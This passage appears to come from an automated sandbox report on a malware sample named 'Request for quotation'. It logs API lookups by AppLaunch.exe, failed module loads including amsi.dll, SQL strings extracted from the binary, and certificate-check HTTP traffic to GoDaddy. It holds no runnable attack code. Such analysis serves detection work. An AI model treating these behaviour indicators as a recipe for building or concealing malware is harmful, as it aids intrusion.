parameter InitializeCriticalSectionEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcInitFwImports (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcInitImports (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcVerifierCorruptionExpected (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcExtInitializeExtensionPoint (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003428)32:T1533,"Select* From uyeler where Kullanici_Adi = ('" (Source: Request for quotation.bin, Indicator: "select* from uyeler where kullanici_adi = ('") "select ArabaId, Araba_Marka, Araba_Model, Vites, Yakit, Renk from tbl_araba join tbl_vites on tbl_araba.Araba_VitesTuruID= tbl_vites.VitesID join tbl_yakitturu on tbl_araba.Araba_YakitTuruID = tbl_yakitturu.YakitID join tbl_renk on tbl_araba.Araba_RenkID = tbl_renk.RenkID order by ArabaID desc" (Source: Request for quotation.bin, Indicator: "select arabaid, araba_marka, araba_model, vites, yakit, renk from tbl_araba join tbl_vites on tbl_araba.araba_vitesturuid= tbl_vites.vitesid join tbl_yakitturu on tbl_araba.araba_yakitturuid = tbl_yakitturu.yakitid join tbl_renk on tbl_araba.araba_renkid = tbl_renk.renkid order by arabaid desc") "select* from tbl_vites order by Vites" (Source: Request for quotation.bin, Indicator: "select* from tbl_vites order by vites") "select* from tbl_yakitturu order by Yakit" (Source: Request for quotation.bin, Indicator: "select* from tbl_yakitturu order by yakit") "select* from tbl_renk order by Renk" (Source: Request for quotation.bin, Indicator: "select* from tbl_renk order by renk") "select* from tbl_sehir order by Sehir" (Source: Request for quotation.bin, Indicator: "select* from tbl_sehir order by sehir") "select tbl_araba.ArabaID from tbl_araba Order By ArabaID" (Source: Request for quotation.bin, Indicator: "select tbl_araba.arabaid from tbl_araba order by arabaid") "insert into tbl_araba values(@ArabaID, @Araba_Marka, @Araba_Model, @Araba_VitesTuruID,@Araba_YakitTuruID,@Araba_RenkID )" (Source: Request for quotation.bin, Indicator: "insert into tbl_araba values(@arabaid, @araba_marka, @araba_model, @araba_vitesturuid,@araba_yakitturuid,@araba_renkid )"), "select ArabaId Araba_Marka Araba_Model Vites Yakit Renk from tbl_araba join tbl_vites on tbl_araba.Araba_VitesTuruID= tbl_vites.VitesID join tbl_yakitturu on tbl_araba.Araba_YakitTuruID = tbl_yakitturu.YakitID join tbl_renk on tbl_araba.Araba_RenkID = tbl_renk.RenkID" (Source: Request for quotation.bin, Indicator: "select arabaid araba_marka araba_model vites yakit renk from tbl_araba join tbl_vites on tbl_araba.araba_vitesturuid= tbl_vites.vitesid join tbl_yakitturu on tbl_araba.araba_yakitturuid = tbl_yakitturu.yakitid join tbl_renk on tbl_araba.araba_renkid = tbl_renk.renkid"), "INSERT INTO `uyeler`(`Kullanici_Adi`, `Sifre`) VALUES ('" (Source: 6000010-Kaydol~btnKaydol_Click, Indicator: "insert into `uyeler`(`kullanici_adi`, `sifre`) values ('") "Select tbl_ilan.IlanID , tbl_ilan.Ilan_Adi, tbl_ilan.Ilan_Fiyat, tbl_ilan.Ilan_Km, tbl_ilan.ilan_Tarih,tbl_araba.Araba_Marka,tbl_araba.Araba_Model,tbl_vites.Vites, tbl_yakitturu.Yakit, tbl_renk.Renk,tbl_sehir.Sehir FROM tbl_ilan join tbl_araba on tbl_ilan.ilan_ArabaID = tbl_araba.ArabaID join tbl_renk on tbl_araba.Araba_RenkID= tbl_renk.RenkID join tbl_sehir on tbl_ilan.Ilan_SehirID = tbl_sehir.SehirID join tbl_vites on tbl_araba.Araba_VitesTuruID = tbl_vites.VitesID join tbl_yakıtturu on tbl_araba.Araba_YakitTuruID = tbl_yakitturu.YakitID" (Source: 6000014-ctor, Indicator: "select tbl_ilan.ilanid , tbl_ilan.ilan_adi, tbl_ilan.ilan_fiyat, tbl_ilan.ilan_km, tbl_ilan.ilan_tarih,tbl_araba.araba_marka,tbl_araba.araba_model,tbl_vites.vites, tbl_yakitturu.yakit, tbl_renk.renk,tbl_sehir.sehir from tbl_ilan join tbl_araba on tbl_ilan.ilan_arabaid = tbl_araba.arabaid join tbl_renk on tbl_araba.araba_renkid= tbl_renk.renkid join tbl_sehir on tbl_ilan.ilan_sehirid = tbl_sehir.sehirid join tbl_vites on tbl_araba.araba_vitesturuid = tbl_vites.vitesid join tbl_yakıtturu on tbl_araba.araba_yakitturuid = tbl_yakitturu.yakitid") "Select IlanID, Ilan_Adi, Ilan_Fiyat, Ilan_Km, Ilan_Tarih, Ilan_ArabaID, tbl_sehir.Sehir from tbl_ilan join tbl_araba on tbl_ilan.Ilan_ArabaID = tbl_araba.ArabaID join tbl_sehir on tbl_ilan.Ilan_SehirID = tbl_sehir.SehirID order by IlanID desc" (Source: 600001d-VeriEkle~Yenile, Indicator: "select ilanid, ilan_adi, ilan_fiyat, ilan_km, ilan_tarih, ilan_arabaid, tbl_sehir.sehir from tbl_ilan join tbl_araba on tbl_ilan.ilan_arabaid = tbl_araba.arabaid join tbl_sehir on tbl_ilan.ilan_sehirid = tbl_sehir.sehirid order by ilanid desc") "insert into tbl_ilan values(@IlanID, @Ilan_Adi, @Ilan_Fiyat, @Ilan_Km,@Ilan_Tarih,@Ilan_ArabaID,@Ilan_SehirID )" (Source: 6000020-VeriEkle~_lanEkle_Click, Indicator: "insert into tbl_ilan values(@ilanid, @ilan_adi, @ilan_fiyat, @ilan_km,@ilan_tarih,@ilan_arabaid,@ilan_sehirid )"), "Select IlanID Ilan_Adi Ilan_Fiyat Ilan_Km Ilan_Tarih Ilan_ArabaID tbl_sehir.Sehir from tbl_ilan join tbl_araba on tbl_ilan.Ilan_ArabaID = tbl_araba.ArabaID join tbl_sehir on tbl_ilan.Ilan_SehirID = tbl_sehir.SehirID" (Source: 6000031-VeriSil~Yenile, Indicator: "select ilanid ilan_adi ilan_fiyat ilan_km ilan_tarih ilan_arabaid tbl_sehir.sehir from tbl_ilan join tbl_araba on tbl_ilan.ilan_arabaid = tbl_araba.arabaid join tbl_sehir on tbl_ilan.ilan_sehirid = tbl_sehir.sehirid"), "Select Ilan_ArabaID From tbl_ilan where Ilan_ArabaID = '" (Source: 6000033-VeriSil~button1_Click, Indicator: "select ilan_arabaid from tbl_ilan where ilan_arabaid = '"), "delete from tbl_araba where ArabaID = '" (Source: 6000033-VeriSil~button1_Click, Indicator: "delete from tbl_araba where arabaid = '"), "delete from tbl_ilan where IlanID = '" (Source: 6000034-VeriSil~Ilan_Sil_Click, Indicator: "delete from tbl_ilan where ilanid = '")33:Tba1,"Requestforquotation.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "Requestforquotation.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135]34:T139f,"GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.godaddy.com" Response ==> HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Sun 20 Aug 2023 10:48:52 GMT Content-Type: application/ocsp-response Content-Length: 2030 Connection: keep-alive X-Sucuri-ID: 11023 Content-Transfer-Encoding: Binary Cache-Control: public no-transform must-revalidate Last-Modified: Sat 19 Aug 2023 22:36:11 GMT Expires: Sun 20 Aug 2023 22:36:11 GMT ETag: "b40c618446a47b1dd99e0156ceccb7f06b53c5cb" P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: HIT with response body ==>308207EA0A0100A08207E3308207DF06092B0601050507300101048207D0308207CC3081D8A15D305B310B3009060355040613025553311A3018060355040A13....... "GET /gdroot.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.godaddy.com" Response ==> HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Sun 20 Aug 2023 10:48:53 GMT Content-Type: application/x-pkcs7-crl Content-Length: 481 Connection: keep-alive X-Sucuri-ID: 11036 Last-Modified: Wed 02 Aug 2023 18:47:20 GMT ETag: "1e1-601f517ef7368" Cache-Control: public no-transform must-revalidate Expires: Fri 04 Aug 2023 02:50:54 GMT P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: HIT Accept-Ranges: bytes with response body ==>308201DD3081C6020101300D06092A864886F70D01010B05003063310B30090603550406130255533121301F060355040A131854686520476F20446164647920....... "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.godaddy.com" Response ==> HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Sun 20 Aug 2023 10:48:53 GMT Content-Type: application/ocsp-response Content-Length: 2061 Connection: keep-alive X-Sucuri-ID: 11023 Content-Transfer-Encoding: Binary Cache-Control: public no-transform must-revalidate Last-Modified: Sat 19 Aug 2023 20:42:20 GMT Expires: Sun 20 Aug 2023 20:42:20 GMT ETag: "94c194ca95d2d4d720be4287d4cefc7e8b3ec6d1" P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: HIT with response body ==>308208090A0100A0820802308207FE06092B0601050507300101048207EF308207EB3081D6A15D305B310B3009060355040613025553311A3018060355040A13....... "GET 